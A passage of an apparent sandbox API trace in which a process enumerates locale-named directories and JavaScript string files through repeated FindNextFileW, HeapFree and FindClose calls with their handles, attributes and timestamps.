ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0183.427] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.427] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0183.428] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.428] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0183.428] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0183.428] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.428] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0 [0183.428] FindClose (in: hFindFile=0x4531980 | out: hFindFile=0x4531980) returned 1 [0183.428] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0183.428] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0183.428] FindClose (in: hFindFile=0x4531740 | out: hFindFile=0x4531740) returned 1 [0183.428] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0183.428] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x408, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.js", cAlternateFileName="")) returned 1 [0183.433] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.433] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1 [0183.829] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.829] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0183.829] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.829] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1 [0183.829] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.829] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1 [0183.829] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.829] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1 [0183.830] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.830] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1 [0183.830] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.830] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1 [0183.830] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.830] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1 [0183.830] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.830] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1 [0183.830] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.830] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0183.830] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.830] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0183.831] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.831] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0183.831] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.831] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1 [0183.831] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.831] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0183.831] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.831] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0183.831] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.831] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1 [0183.831] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.832] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0183.832] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.832] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0183.832] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.832] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1 [0183.832] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.832] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0183.832] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.832] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0183.832] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.832] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1 [0183.832] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.833] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0183.833] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.833] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1 [0183.833] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.833] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0183.833] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.833] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0183.834] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.834] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1 [0183.834] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.834] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0183.834] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.834] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1 [0183.834] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.834] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0183.834] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.834] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0183.834] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.834] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0183.835] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.835] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0183.835] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.835] FindNextFileW (in: hFindFile=0x4531c40, 